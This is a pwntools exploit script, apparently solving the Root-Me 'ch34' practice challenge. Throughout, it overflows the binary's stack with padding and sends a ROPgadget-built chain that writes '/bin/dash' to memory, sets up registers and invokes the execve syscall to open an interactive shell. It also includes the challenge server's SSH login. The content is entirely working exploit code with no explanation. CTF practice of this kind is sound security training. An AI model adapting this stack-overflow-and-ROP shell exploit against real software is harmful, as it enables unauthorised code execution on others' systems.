#!/usr/bin/env python2
# execve generated by ROPgadget

from pwn import *
from struct import pack

DEBUG = 1
if DEBUG:
    proc = process('./ch34')
else:
    s = ssh(host='challenge03.root-me.org',
            user='app-systeme-ch34',
            password='app-systeme-ch34',
            port=2223)
    proc = s.process('./ch34')

# Padding goes here
p = 'A'*280

p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0000) # @ .data
p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
p += '////////'
p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret

p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0008) # @ .data + 8
p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
p += 'bin/dash'
p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0010) # @ .data + 16
p += pack('<Q', 0x000000000041bd9f) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004016d3) # pop rdi ; ret
p += pack('<Q', 0x00000000006c0000) # @ .data
p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
p += p64(0)
p += pack('<Q', 0x0000000000437205) # pop rdx ; ret
p += p64(0)
p += pack('<Q', 0x000000000041bd9f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045b525) # syscall ; ret

# gdb.attach(proc)
proc.sendline(p)
proc.interactive()